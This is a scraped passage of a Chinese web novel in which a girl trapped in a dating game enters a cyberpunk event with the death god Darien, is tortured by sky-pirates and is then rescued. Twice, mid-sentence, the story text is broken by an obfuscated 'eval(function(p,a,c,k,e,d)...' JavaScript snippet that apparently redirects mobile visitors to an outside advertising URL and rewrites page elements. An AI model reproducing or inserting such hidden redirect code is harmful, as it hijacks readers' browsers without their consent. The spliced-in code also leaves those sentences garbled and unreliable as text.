在他眼中，仿佛她才是那只无理取闹的小狗狗。不同的地方在于，小只的柳莳萌貌似是泰迪品种的，要逗逗哄哄还要摸摸才能好。 【QAQ】 “呃，这很复杂，我该怎么说呢……”柳莳萌扶额：当你能时常看见一个漂浮在半空中的游戏框，并且配了一个闪瞎狗眼的炫彩颜文字的时候，你也会忍不住去看它的！ 【本面板不是来拆散你们的，我是来加入你们的[哭泣][哭泣]】 “滚蛋！”柳莳萌忍不住说出声。 但她想起面前的人是达里恩。 “我不是说你，你听我狡辩……不是，你听我解释。” “这是因为它经常说一些让我无法忽视的话啊。” “它刚刚和我说，它不是来拆散我们的而是来加入我们的。你听听看这说的是人话吗？”柳莳萌拦在达里恩身前，对着面板（空气）凶神恶煞道，“虽然你帮助过我很多次，但这一次，我是绝对不会让你得逞的。” “让它滚。” 柳莳萌猛地回头，她不敢相信自己听到了什么：“你说什么？” 死神怎么会说出和她一模一样的话呢？ 达里恩掌心中燃着一团小火苗：“或者你让它出来，我让它滚。” 【……】 此时此刻，柳莳萌开始切身处地担心起面板的生命安全，但好在因为某种不可抗力因素，达里恩看不见它。而主线面板也早已使用【正在载入下一段剧情】遁逃了。 所以，这到底算是一个好结局，还是算是一个普通结局，或是坏结局，柳莳萌也不得而知。 但她知道：死神或许已经对她产生好感了。 【心动剧情一，完。】 28. 赛博都市加载中1 *深夜。 柳莳萌收到了一位不速之客的来信。 【来自“游戏之神”。】 “……不看。”柳莳萌认为自己在经历了一系列糟心的事情之后，急切需要通过爆睡十二个小时来保持身心健康。 也就是说，她从现在开始睡着，一直到第二天中午刚好就是这么久。她必须争分夺秒了，时间光是拿来睡觉都不够用，更别说要分给那些无关紧要的人。 【游戏之神：我知道你不想看见我，但这封信你是一定要看的。里面有解锁成就和道具奖励，你不看是会后悔的哦。】 柳莳萌：“……” 她提起一口气，从床上坐起：“看就看！看完又不会掉一块肉！” 【给：好好读信的乖孩子。 首先，这次的心动剧情其实是我给你的一次考验，你完美完成了我的“破冰后如何能够相爱”的迷局。 相信你也感受到了，你的种种行为不容有失，只要偏差一步，就足够让你死个上百次了。且你并未退缩，而是勇敢地找出了正确答案，激起达里恩的怒火，让他正视了自己内心那份渺小的感情。 远远不止是一个优秀的玩家，还是一个合格的死神代理，因此我要奖励你“破冰勋章”。 我认为你或许会对这个东西感兴趣，请收下吧，我的孩子，这是道具「达里恩的记忆碎片」。它承载了死神达里恩这段时间最为深刻的记忆，应该会对你的下一个活动周期有所帮助。】 读到这里，已经是信的末尾，柳莳萌面前的信从边缘开始化为碎片，碎片变成光点，光点再转变为粉尘，最后，逐渐消失殆尽。 “这是……” 她凝视着手中这个像玻璃珠一样的东西，慢慢出神。与普通的玻璃球不同，它的内部并不是玻璃，而是飘散着光晕的流沙，雾气无声流转，在中心汇聚成一个细小的漩涡。 柳莳萌将道具放在床面上，她发现这个道具竟然越看越像达里恩的眼睛。 看久了，仿佛在见他所见，感他所感。 -------- “从白天的时候，我就知道她在偷偷跟踪我了，但是，我装作没看见的样子。因为我知道她偶尔会做出一些令人匪夷所思的事情。” “习惯了？也不能这么说，只是知道这点，所以不会感到意外罢了……” 柳莳萌听见了自言自语的呢喃，但面前漆黑一片，什么都看不见，也发不出任何声音，难受……她不习惯这种五感通通消失，只余下听觉一种的感受。 无论是这种感受，还是带给她这种感受的这片领域都是极其私人的，这只属于个人，无法与别人分享。换句话说，这是一份不会被旁人熟知的“孤独”。 只有微弱的紫光指引着她，淡薄到快要消失不见。 因为害怕迷路，柳莳萌紧紧跟随着它。不知道寻光走了多久，直到她看见了一把椅子。黑暗中，达里恩背对着她坐在椅子上，影子被光拉得斜长，他始终没有转过身来。 “你来了。” “虽然我不了解你，但我非常相信自己的第一直觉，我认为你不会背叛我。所以，我轻易地告诉了你我的人类身份，所以……在大楼里碰见你的时候，我很惊讶。” “我应该冷静下来才对，但是我又相当愤怒。”达里恩抬起左手，像是将手放在了心口的位置，“不是对你，而是对我自己。我太过愚蠢了，愚蠢到曾经相信过你。” “但更愚蠢的事情是：我不肯放弃。至少要问清楚一个真相才行，我是这样想的。” “不过，死神太过执着好像是行不通的，因为很容易给周边的事物带来死亡。” “而那时候的你也是，很突然地就快要死了。实话实说，我对死亡没有任何感觉，但是，在当时那个场景之下，该死的那一个人似乎不应该是你。” “真是怪事，我唯独无法接受你的死亡。” 他轻笑道：“除了这个，其他的都可以。” -------- 在《与死神同行》主线第二章与第三章的间隙，距离柳莳萌死皮赖脸地待在死神家里已经过去了十天时间。 他们的关系没有发生多大变化。达里恩继续从事着保镖的工作，伪装成三好人类在城市中生活，而柳莳萌则是安心住在达里恩家里。不过，她对校园之类的东西产生了强烈的创伤后应激障碍，也就是俗称的“PTSD”。 “我现在只希望下一个活动周期不要是在学校……拜托拜托！”柳莳萌双手合十，向真实存在但不怎么靠谱的神祈祷。 【有这么严重吗？】 “你说呢？” “我现在连曾经最爱看的校园小说和校园恋爱轻喜剧都看不进去了啊！”柳莳萌痛恶地锤向沙发坐垫哀嚎道。 片刻后，她反应过来，“不过……主线面板你来干什么？” 现在的主线应该没她这个打酱油的什么事吧？就算有，玩家们的打打杀杀、甜甜蜜蜜和她这个伪玩家真N/PC的岁月静好又有什么关系呢？ 【我收到了死神代理需要为“新纪元”活动开始着手准备的通知。你可以放心了，因为这次活动不涉及任何恐怖校园设定，也并不是在学校里进行的。】 柳莳萌恍然大悟：“原来是它。” “新纪元”是官方见游戏初期热度不错，为了进一步扩大影响力，留住老玩家的同时吸引新玩家而特意开放的一次福/利活动。 说是福/利活动，但给柳莳萌的感觉更像是“大乱炖”。 所有玩家无需氪金，只需签到满七天就能够免费获得一张随机SSR，于此同时，两大阵营里的初始四位死神都会上线。每一位死神都有不同的剧情路线，玩家可以选择单线，或是全部线。 若是看完单线，就可以获得一张该路线死神/的自选SSR；若是选择全部线，则可以自选任意SSR，并且还可以额外得到一张活动绝版SR。 如此手笔可谓是相当大方，更别提各种抽卡券和体力金币，简直像不要钱一样送个没完。 “呃……这不重要。” 柳莳萌按住太阳穴回忆了一下：自己当时的运气不错，随机就攒到了芳汀的一张活动卡，只要走单线再拿到另外一张就活动毕业了。至于活动绝版SR卡，因为不是芳汀的，她觉得不拿也没什么。 她突然顿悟了：“所以回忆没有意义，因为我当时根本就没看完活动剧情啊！” 柳莳萌仰头望向主线面板，眼神楚楚可怜。 【是这样的，活动面板和我说它默认死神代理已经熟知所有活动，将活动的背景资/料全部删除了。此括号内容需删除：反正后面的也不完整，完整的都是垃圾。】 “你说什么？！” 【当然，这是活动面板的一板之词。我不会允许有任何意外出现造成未知损失，紧急备份了一份。如果死神代理你需要的话，我可以将新纪元的背景资/料给你。 ※是否接受来自主线面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115229|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板的数据资/料？ 「是」「否」】 柳莳萌按下了「是」，眼前的面板颜色逐渐切换成了蓝色。 随后，蓝色面板迅速横向展开。无数荧绿色的光点从面板深处涌出，在上方以点阵形式构筑出了一幅三维都市的星图。 【二三二五亿年，在距今已过去三百亿年的当下，人们的生活方式发生了巨大的变革。】 【在三百亿年间，通过宇宙环境保护法，他们中的大部分已由太阳系迁移去了银河系，而仍然留在母星上的人被称为“后人类”。】 【后人类并非不想迁移，而是他们目前所持有的财富无法购买到一张银河系的永久居住证。但是，后人类身上仍然保留着身而为人的最大财富——“智慧”。他们耗费了漫长的岁月，将母星上剩余的资源全部聚集在一处，在被遗弃的荒野上建造起了一座与世隔绝的乐园。】 【——其名为“云端之城”。】 【也就是“你”即将动身前往的地方。】 *** “好吧，我大致了解了。” 柳莳萌对于“新纪元”仅存的印象就是赛博都市，没想到它的起源竟然这样复杂。原先她没有必要知晓这些内容，但现在的情况大不相同了。 “但我有一个问题：云端之城里面居住的后人类，应该不单单只是‘人类’这么简单吧？” 主线面板停顿了一下。 【……当然。】 【云端之城建造起来的原因不光是因为后人类的贫穷，他们所居住的母星在十几年前环境突然变化，诞生出了一种超级病毒“π”。】 【最早被发现身上有“π”的后人类，他的手臂血流不止，有形似被击穿的针孔状伤口。再然后，就是胸腔，肺，直到心脏。后来发现，这种超级病毒是以血液中的一种成分作为寄生媒介，由四肢开始，不断感染至体内致命的器官。】 【若是不抑制这个循环，后人类的身体，乃至生命就会被病毒击穿。因此，他们创造出了“机械义体”来代替血肉延续生命。】 【从表面上看，他们的确还是人类，但实际上，他们的身体和你千差万别。】 柳莳萌震惊了：“你的意思是，后人类其实都是半人半机械的人类么？” 【大部分是。】 【当然，也有少部分没有被病毒感染的人存在，但他们也有可能去做手术装入义体，提高身体的机动能力。总之，真实情况可能比较复杂。】 淦！本来就弱的她更加弱了！ “唉……”柳莳萌幽怨道，“之前那个打不过至少还可以逃跑，现在这个随便对上一个人，打也打不过，跑也跑不过的，你总是让我进入这种世界，不就是让我‘不断重开’吗？！” 【不会。】 【这部分内容属于背景资/料，是帮助死神代理熟悉活动世界用的，了解以后对你没有任何坏的影响。】 【以及，新纪元活动会与先前的返校日活动有所不同，至于是哪里不同……更多详情3月7日重磅上线！看来，我所备份的资/料到这里就结束了，抱歉。】 “好吧，我知道了。” “没关系，这不是你的错。”柳莳萌面上沉稳如水，看起来没有任何异常，一秒钟后，她微笑着对着天空竖起手指，“我想，应该是哪个傻x在把人拽进游戏里来的时候，忘记把游戏预热给删了吧？” “啊嚏——！” 游戏之神：咦，是谁在骂我？ 29. 赛博都市加载中2 “所以说……” “明明是一件好事，但是，为什么心里却感到这么不安呢？” 柳莳萌坐在餐桌旁，她的头靠在椅背上，不安分地上下蛄蛹着。椅子被她的重量稍稍压弯下腰，向后倾斜，“吱呀”一声过后很快又弹回到最初的样子。 “什么好事？” 达里恩拉开椅背坐到她的对面，手里还拿着一罐甜面酱。是今天同事力荐的牌子，据说这种拌面比较好吃，可能吃完了会让人心情好一点吧。 他慢条斯理地拧开，说道：“趁热吃吧。” 桌子上早早摆好了两副筷子和配套碗碟。炖煮泡面的火锅“咕嘟咕嘟”冒着热乎乎的白气，虽说不算丰盛，但好歹里面的各种菜和肉类也是他们一起准备的。 柳莳萌含着筷子刚准备动口，闻言停顿了一下，沉吟道：“具体是什么我就不说了，但是呢……”她转而一指，“和你有关。” “猜猜看。”她捧着脸，乖巧地看着达里恩。 他夹了一块豆腐干放进嘴中咀嚼，并没有理会她所说的话。达里恩从不做没有把握的事情，至于揣度人心，也不在他的计划之中。 “没兴趣。” 呵，气死人了，柳莳萌朝他呲牙心想。 她才刚对死神有所改观，想和他再亲近一些，可他却像只狡猾的狐狸一样一溜烟逃掉了。真是个不解风情的木头男人！ 不过，她又在思考：主线面板突然给我的「十张邂逅卷轴」和「八万金币」，到底有什么用呢？ 【我都不知道……原来死神代理你这么好奇啊，不过不用好奇，你现在就会知道了。】 “什么？” 突然，柳莳萌听见了一阵诡异的电流声，眼前的饭桌被漆黑的黑洞所笼罩。 所有的物体被吸入进洞里，而全息碎影像走迷宫般自远端延伸而来，在碰触到蓝色光电的瞬间，不再是黑灰色面板，取而代之的是一扇黑灰色的大门，正缓缓打开…… 【正在载入活动剧情：新纪元】 【载入完成。】 【由于本次活动是大型活动，活动世界波动剧烈，我将会为死神代理开启超时空通道传送，时长一个小时，祝你好运。】 “真的是，怎么会有面板缺德到在别人吃饭的时候就开始传送的？”柳莳萌愤愤不平地向门处走。 在走进门后，她突然间意识到了什么：我淦！我晚饭还没吃完啊！！！ *** 在传送的一个小时里，柳莳萌将主线面板送的邂逅卷轴全部用了。她的运气极差，十连下去只抽了三张新卡。 “该不会是……因为达里恩的卡本来就少，所以重复率特别高吧，唉。”柳莳萌不得不感叹一句：这破游戏里还有比抽卡系统更扎心的存在吗？人气贫民的待遇也太真实了。 她简单看了一眼。 三张新卡分别是：SSR·不灭星辰、SSR·自我意志、SR·冬眠。这些卡基本上只有在新纪元活动才能够获取，算得上是本期限定卡了。 “难道……这些也和活动任务有关吗？” 柳莳萌本以为主线面板说的“新纪元”与“返校日”的不同之处会在这里，但实际看来，似乎并非如此。 以她的个人喜好来说，SR卡“冬眠”反而是柳莳萌最为喜欢的。“冬眠”里的达里恩穿着紫色的睡衣，一反常态地窝在被子里，露出阴沉的半张凶脸向外看。凶神恶煞但十分可爱。 “其他的嘛就……” 另外两张SSR卡“不灭星辰”与“自我意志”是非常绚烂华丽的高科技风，是好看的，但不知是不是她的错觉，柳莳萌总觉得它们过分“冰冷”了。 “既然来到我的手里，那就都是我的宝贝了！” 柳莳萌将三张新卡都好好地收进了“星月宝匣”。 *** 【即将完成传送，现在发布活动剧情任务。】 【这里需要进行一次说明：由于新纪元活动剧情在游戏中涉及分线，并且不同路线的时间存在显著差异，引发了世界线内的“时间悖论”。简单来说就是：你与你的死神“达里恩”，两个人的时间都被无限拉长了。】 “等等，这不就是……不限时长的意思吗？！”柳莳萌额角的青筋突突地跳了好几下。 【是的，本次活动无时间限/制，只要死神代理未完成活动任务，即便全线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119241|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剧情结束，仍然会自动延续。】 “……” 真是……好一个令人叹为观止的不同之处。 “我是未成年人，你限/制时长，限/制一下啊！”然而，她的悲鸣就这样被冰冷的文字所掩盖了。 【活动任务：在剧情中赚钱，即赚够购买一张银河系永久居住证的金币。※其市价金额为一千万整，以游戏内金额为准。活动奖励：道具“一次心跳”×1，失败惩罚：回到初始状态。】 夺少……？ 柳莳萌抿紧嘴角。 此时的她已经汗流浃背了。 【特殊任务：收集所有隐藏死神，特殊奖励：五百万金币，无失败惩罚。】 【与上一个活动相同，死神代理本次的“活动角色身份”仍需通过抽卡系统获得。】 【可选身份有： ■SSR金融从业者 你拥有一份稳定工作和不错的收入来源，不仅如此，三月份的幸运月还为你带来了一个好消息，公司正在积极接触一个与银河系永久居住证相关的融资项目。难度：简单。 ■SR混混大小姐 长期混迹街头，你是坐拥无数小弟的街头明星，出卖灵魂，罪恶滋长的地下交易为你带来了财富，虽然身负贷款，但你仍愿意相信黑市里会有一线暴利的生机。难度：中等。 ■R星际猎手 你一无所获的人生里写满了追逐。这是一个需要不停奔跑，替无能的警官们抓捕通缉犯的稳定工作。没有通缉犯就没有收入，但猎手往往会通过精力充沛的双手，为自己创造出一个充满希望的未来。难度：困难。 ■F捡破烂的 不需要过多解释，仅靠字面意思理解，是真正只靠在垃圾堆里捡破烂维持生计的一类后人类群体，艰难的生活造就了非人的身体能力，你甚至能够吃垃圾生活，但，如何用这双手赚钱是一个巨大的难题。难度：地狱级。】 这次的身份信息更加多了，柳莳萌从头到尾认真看，才看到一半她就开始头昏脑涨了。当看到最后时，她崩溃了。 “这该死的破游戏……” “答应我，绝对不要让我去捡破烂好吗！” 30. 赛博都市加载中3 【本次没有抽卡概率重置的负面影响。】 【四种身份的抽取概率是相同的。】 柳莳萌吞了一口唾沫，决定将一切交给运气，如同她每次抽卡前所祈祷的那样，这次的祈愿更加强烈了。如果命运足够垂怜她如今的凄惨境地，必定也会因为不忍而伸出一次援手吧！ 哪怕一次，一次就好！ “啊……”她看着面板中跳出的身份信息，深深地叹了一口气，“是星际猎手。” 算不上好，但也算不上糟糕的身份。 “至少比上次好了一点吧。”柳莳萌如此安慰自己。但末尾用刺目红色漆满的“难度：困难”还是令她极其不安，以及……这次的特殊任务她也看不太明白。 【——死神代理已抵达“新纪元”站。】 【从面前的这扇门推门出去后，就正式开始本期活动了，其他面板们都在陆续赶来的途中，它们应该会在适当的时机出来为你服务的。】 【路途颠簸，愿死神代理最终能够得偿所愿。】 *** 门口，耀眼的白光将柳莳萌整个人包围住，紧接着一股刺骨的寒气扑面而来，冰冷而又窒息，她的皮肤几乎要被割伤了。 为了获取热量，柳莳萌只得向温暖的地方摸索去，而热源似乎来自“正前方”。 嗅闻到淡淡的金属味，她缓缓睁开眼睛，不灵活地眨巴了一下，视线慢慢清晰：“原来是电视……” 一台黑色的电视机被完好放在椅子上。 这是她从未见过的老旧款式，感觉不像是几百亿年后的产物。电视机顶部有两根接收信号用的天线，但屏幕画面全是五颜六色的故障马赛克，让人忍不住怀疑这些天线到底有没有起作用。 “咳咳！” 柳莳萌剧烈咳嗽了两声，鼻尖上的水滴被抖落下来。 她摸/了摸自己的脖子，感觉身体像是经历过溺水一样，胸/口格外沉闷。清醒以后，被麻绳反绑在椅子后的手加剧了她的不安感。 她动了动手腕，发现麻绳捆得很紧，随便动动是没办法解开的，恐怕还需要寻找利器割断才行。这时，电视的屏幕骤然亮了。 “欢迎你来到‘云端之城’——！” 身穿红格子衬衫，戴墨镜的男人出现在画面中，他敲了敲镜头，柳莳萌感觉他像是透过屏幕在敲自己的脑门。镜头晃了晃，她的天灵盖都要被敲开了。 不过……比起那夸张的手势动作，男人手上的大金表更吸引她的注意。 “这里是一片为奇迹而诞生的土地，所有心怀梦想的追梦人都能够在这座城市中寻找到属于自己的宝藏。我们不眠不休，只为了更好的未来前行。” 他伸出手：“无论你是富有，或是贫穷，云端之城都会不问出处，接纳你的所有，包括你那充满欲/望的灵魂。看到远处那座摩天巨塔了吗？” 男人向右退开一步，让他身后的摩天巨塔露出全貌。 聚光灯自下而上直插云霄，在空中来回扫荡，被扫过的列车轨道在低空盘踞着，平稳运行。沿着过山车似的的轨道缓缓看向高空，环塔的圆轮破开云雾，得见天日，作为一轮不灭的人工太阳照亮天空。 “那里将会是我们共同的起/点！” 上方飘过的字幕写着：摩天巨塔承载着连接高空与地面的作用，单次便能够承载上万人次的穿梭。 柳莳萌哑然失语：“如此庞大的建筑物，居然只是一座‘电梯’而已吗？” 但她现在身在何处？是地面？还是高空？ 如此想着，困意上涌，柳莳萌在疲倦的作用下再次沉沉睡去。 *** “……喂，怎么睡死了，她还活着吗？” “……我只是给她打了一剂强力麻/醉/药，不是毒/药好吗？如果这么轻易就死了，”说话的人一顿，“那她根本就不具备完成任务的资质嘛！” “……你说的也有道理。别说抓捕通缉犯了，我看她连生存下去都难，现在该怎么办？” 两个沙哑嗓音的男人在身旁小声地说话，柳莳萌的眉头一皱。 她已经完全清醒了，但她继续维持着沉睡的状态：绝对不能莽撞。如果要搞清楚周围的情况，就不能轻举妄动。 “老规矩。” “看看她身上有没有什么值钱的东西，值钱的全部带走，完事后就把她做掉直接扔下船。” 她听见“窸窸窣窣”的声音，很快，捆绑住手腕的麻绳被利落地解开了。两只被老茧打磨过的粗糙大手在她身上摸索来摸索去，不知是不是故意的，他们的手总是擦过上衣的口袋，以及，她的嘴唇。 好恶心……真是令人作呕。 “！”柳莳萌当即睁开眼睛，用被解放的手照着他们的脸狠狠扇过去。她的力气大的惊人，拳头都因为反作用力而擦出了血花，而被打的男人则是倒飞出去，跌坐到了地上。 【身份信息面板已上线。】 她扫了一眼。 【姓名：HC·罗德曼（假名，真实姓名不详），身份：强盗，星际盗贼团“黑鼠”成员之一，悬赏金一万。】 【姓名：YJ·布鲁尼（假名，真实姓名不详），身份：强盗，星际盗贼团“黑鼠”成员之一，悬赏金一万。】 “你这……臭女人！” 强盗、星际盗贼团、悬赏金……乍看之下有用的信息还挺多，但是，她不想再去思考更多的信息了。现在光是听到他们说话的声音都让人恶心，柳莳萌擦了擦嘴角。 “你们的手是用来性骚扰的话，我不介意替你们把它给剁了。”她微笑道。 “哦对了，如果你们日常管制下半身很困难的话，说明那一根东西长在你们身上是多余的。” 柳莳萌站起身，朝那根东西狠狠一脚踩下。 “臭女人，你疯了吗？！” 两名强盗慌慌张张地保护住自己的致命处，但这样就落入进了她计划好的圈套。只要他们细心就能够发现，柳莳萌踩下的位置本来就是一块空地。只要他们一因惊慌移动，她便能踩住脚踝。 而在短短的几秒钟内，她所笃信的便是——“他们不够聪明”。 美丽的高跟此时变成了尖锐的凶/器，像一把饱尝鲜血的刺刀，被愤怒浸泡，最后绽放出罪恶的红之花。 “怎么回事？我的腿，是在不受控制地发抖吗？”柳莳萌死死咬住嘴唇，喉咙也发不出声音：我真的不想做出任何会伤害到别人的事情！ 哪怕对方是个十恶不赦的坏人！ 这时柳莳萌才发现，在这之前，这种“伤害别人”的事情一直是由达里恩代劳的。 应该说是因果报应吗，现在轮到她了。 *** “哈！我就说了这个女人对我们构不成威胁！只会嘴上说说，不用怕她，布鲁尼。”HC·罗德曼迅速翻身起来，“她还嫩着，身心都还是个小朋友呢。” “不过该说是有天赋吗……踩的人还挺疼啊？” 他拽住柳莳萌的头发。 这是柳莳萌第一次在活动中遭遇滑铁卢，头皮疼痛到发麻让她大喘了一口气：如果这是一个没有 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——原来……胸腔深处“溺水感”的由来，是从这里来的。 “啊！”柳莳萌从水中奋力仰起头，但很快又被一股巨力按入水中。 她试图用残存的氧气呼吸，但这不能坚持太长时间，而那些强盗已经学聪明了，他们开始不让她有机会换气。 盐水一点一点倒灌进她的鼻腔里，很快抵达肺，苦涩的味道压得她喘不过气，氧气消耗殆尽了，而她因窒息微张开嘴，可迎接她的只有浪，将喉咙堵住。 “咳咳……咳咳咳咳！” 好痛苦……我真的要死了……当柳莳萌这么想的时候，她又会被强盗们从生死线上拽回来。反胃、恶心、干呕，都不足以形容她此刻的感受，她只感觉胃部在止不住地抽搐，一阵一阵地痉挛，直到她将变成酸液的盐水全部吐出来。 “现在你愿意告诉我密码箱在哪里了吗？” HC·罗德曼托起她的下巴。 “我根本……我根本不知道……你说的密码箱是什么……咳咳！”柳莳萌环顾四周，发现自己在一艘船上。 准确来说，这是一艘能够在天空中飞翔的“飞船”。这里是保养和改造飞船的“维修间”，大量清洗用的盐水用圆形水池装好，她就是在这里被按入水中。 “啧！” “这臭女人还在装傻！你明知道我问的是星际监狱的密码箱。那里装的可都是你们星际猎手的报酬，你怎么可能会不知道！” 他眼神一暗。 “我已经给过你很多次机会了。”他转身，与身旁的YJ·布鲁尼窃窃私语，“我认为我们没有必要在她身上浪费时间了，等会儿，你把具体情况告诉给老大听，老大会理解我们的苦衷的。” “等等，你要干什么！” YJ·布鲁尼去拽他的手，但他没有拉住，眼睁睁地看着他按下了一个红色的按钮。 这是操控圆形水池底部的开关。 肉眼可见的水池底部其实并不是最底，在这下面，还有一个长达数十米深的隐藏空间，只要按下红色按钮，遮挡隐藏空间的底座就会自动打开。 而二十四小时后，水池中所有的水会作为废水，从飞船的排污口倒下，至于她会去到什么地方，没有人关心，更没有人会知道。 就这样，柳莳萌被推入了水中。 但她并没有死。 因为她的死神遵守约定来到了她的身旁，而他会带走她身边的所有死亡，即便他已经忘记了她。 31. 赛博都市加载中4 *数小时前 【星际盗贼团“黑鼠”大本营，入口】 盗贼团的老大AM·库伦站在入口处迎接一位非常重要的客人。 对方迟到了整整十分钟，但AM·库伦完全不介意，甚至在看到他的第一眼，AM·库伦一反既往地兴奋起来。 “就是他！能够拯救我的飞船的人！”AM·库伦搓着手，神情/欲哭又止，激动的心难以言表。 “呃，有必要这么激动吗？老大。”他的左右手还是第一次见到老大对敌人之外的人表露出兴奋的情绪。 “你们两个人给我闭嘴！” AM·库伦狠瞪了他们一眼：“你们知道这艘飞船有多贵吗？这可是我的全部身家性命，就算把你们所有人抓进监狱里，换成悬赏金，都只不过是飞船的一个零头而已……” “零头！懂吗！” “我明白你的意思了，老大！”左右手肃然起敬。 “明白了还不快点给我乖乖站好！” 他们瞬间立正，背手站好：“是！” “哦？他们好像还挺……正常的？”肖格尔放下观测镜，对身旁的人说道，“不过看人也不能看表面，都说知人知面不知心，盗贼团肯定都是些凶神恶煞的家伙。” 他不满地撅起嘴：“你知道当你说自己接了一个盗贼团的飞船维修项目的时候，我有多担心你吗？” “为什么？” “什么？你怎么会问出这种问题？！”肖格尔惊讶道，他的双手在空中慌张失措比划，“我们可是多年的好朋友啊，作为朋友，难道我不应该担心你吗？” 淡淡的橘黄色火光萦绕在他的身侧。 “哦。”达里恩点燃了一根香烟，把玩着灰色煤油打火器。他还是喜欢旧时代的产物，新时代的水烟电子烟遗梦香等等，那些他都不喜欢。 他吸了一口，蓦地轻笑道：“我觉得你的担心是多余的。” “是啊是啊。”肖格尔点头道。 “我是不是该担心点别的，比如，你的尾巴有没有藏好？” “当然，你以为我是谁。” 面前的这个男人是银河系高级军官都不敢随意招惹的存在。 达里恩是被“保卫者计划”所选中的后人类，作为“天生的战士”被强制征用进了兵营，入伍后一路晋升，最高级别到了副将。 后来，达里恩因某些个人原因迅速非正式退役，转去后勤部当了机械师，但他在后勤部的贡献也是相当亮眼。后人类历史上第一艘移民去银河系的宇宙战舰，就是经过他手建造的。 不过，现在他的履历就是一名经验丰富的维修工人而已。 总之，盗贼团敢和他翻脸，他就敢让他们有来无回。达里恩做得到。但他绝不能够让他们知道他的真实来历，不然会落下许多隐患。 肖格尔之所以知道他的“尾巴”，是因为他是达里恩在后勤部的同僚。 “不说了。”达里恩低头看了看手腕，“我该走了，就光是被你缠着不放这么一会儿，我已经迟到很长一段时间了。” “到了记得给我报个平安啊。” “……肉麻。” *** “阿达，高级飞船维修工，对吧？” 见面后，AM·库伦与达里恩简单握了个手，便主动担任起导游的职责，带领他参观盗贼团的飞船。“这艘飞船的型号是Z10069，最近我发现它的发动机引擎声音很大，偶尔有爆音，感觉像是要坏了。” “一代飞船，这种古早型号什么时候坏掉都不奇怪。”达里恩沉吟道，“但光是听你这么说，我还不能确定是哪里出现了问题。” “飞船的驾驶室在哪？” “慢着！”左右手站出来，拦住了达里恩的去路，“你去驾驶室要做什么？该不会是准备偷偷把我们的飞船开走吧？” “不是。”达里恩皱眉，叹了一口气：我偷这破飞船干什么，沟通困难。不过也不奇怪，这帮强盗满脑子都是烧杀抢掠的事情，第一反应自然会是这个。 他耐心解释了一遍，“驾驶室里有控制面板，那里能看到飞船的各种运行参数。虽然一代飞船很落后，很多参数都没有更新，但是，基本的耗损值还是有的。” “呃？”左右手面面相觑。 他们背过身窃窃私语，开始小声交谈起来。 *“你知道有这么个东西吗？” *“不知道。” *“他奶奶的！他刚刚说的‘耗损值’又是什么东西啊？你知道吗？” *“你奶奶的！别问我啊，你问他啊！” *“不想问，丢人。” “够了！”AM·库伦制止了他们没完没了的交谈，“你们有什么问题，等飞船修好了再讨论，别在这里浪费我的时间。”他转过身，变脸像翻书一样，对达里恩微笑道，“来吧阿达，我带你去驾驶室。” 四人穿过狭长的走廊，停在一扇大自动门前，AM·库伦站在门旁停留了片刻，自动门缓缓开启。 居然是虹膜识别密码器？达里恩略微惊讶。 现在的科技已经进化掉密码器这种冗余的东西了，自动门的二型感应器完美代替了它的功能，录入信息早不仅仅是虹膜，任何体征譬如：身高、体重、步态……都能转化成电信号进行生物加密。 至于虹膜识别密码器，这可是通过正规渠道都很难购买到的“老古董”。 “真想拆了带回家收藏啊……”达里恩捂住嘴，喃喃自语，“算了，我这样做和这伙盗贼又有什么区别。” “驾驶室在走廊的尽头，那里有点远。” 达里恩眼皮一抬，面前尽头的那个房间就是驾驶室，紧挨着驾驶室的是睡眠区域。他能从睡眠舱的数量轻松推断出盗贼团的规模，小型，人数应该不超过二十人。 “这里还有维修间？”他看向左边。 漆黑的舱门紧锁着，只有“维修间”三个字能看出来这片区域的用处，从外面看不见里面的任何情况。 “如果是这样的话……”达里恩在去驾驶室前，准备先进这里面看一看。 但AM·库伦迟迟没有动作，甚至连左右手都僵住了动作。 察觉到他们的迟疑，达里恩催促道：“怎么了？不开门吗？感觉你们自己都不是很清楚自己的飞船上有什么东西，这里面应该会有维修用的小机器人。” “不必了吧，我觉得我们应该用不上？” AM·库伦轻轻拍了拍达里恩的肩膀，但他只感受到了一股微妙的违和感。 具体是什么，他说不上来，但达里恩担任过副官的直觉告诉他：维修间里一定有什么不可告人的秘密。 【欢迎你来到云端之城——！】 电视声音从门内传来，原来这里已经有其他人在使用了。达里恩停下了脚步：“走吧。” 最终他没有进入维修间，而是按照原定的计划向驾驶室走去。 *** 控制面板在驾驶副座的正上方，貌似从没被人使用过，连塑封薄膜都没拆。达里恩摇了摇头，撑住手臂，坐到副座椅背上鼓捣起来。 他快速调出自己所需要的参数信息：这艘飞船的情况不容乐观。 “压力调节系统的管道老化了，超出正常耗损值范围，老化的凹槽会造成局部燃料堵塞，当增压气流通过的时候，就会发出你们所听到的爆音。” “还有，飞船引擎的核心部件——燃烧喷注器，这个耗损值过半，状态是“严重磨损”，这个部分不需要我再多说什么了吧。“ “还有，一代飞船除了基本的燃料发动机外，会有一套备用的涡轮发动机，这个涡轮叶片的耗损值很奇怪，估计是电路接口不良了……” “总之，管道老化、喷注器磨损以及电路接口不良，都会出现你说的这种情况。” 达里恩逐字逐句仔细说完，一扭头，发现底下三个人用像在听天书一样的迷茫表情看着他。不需要思考，他都能知道他们三个接下来要说什么。 “你在说什么啊？” 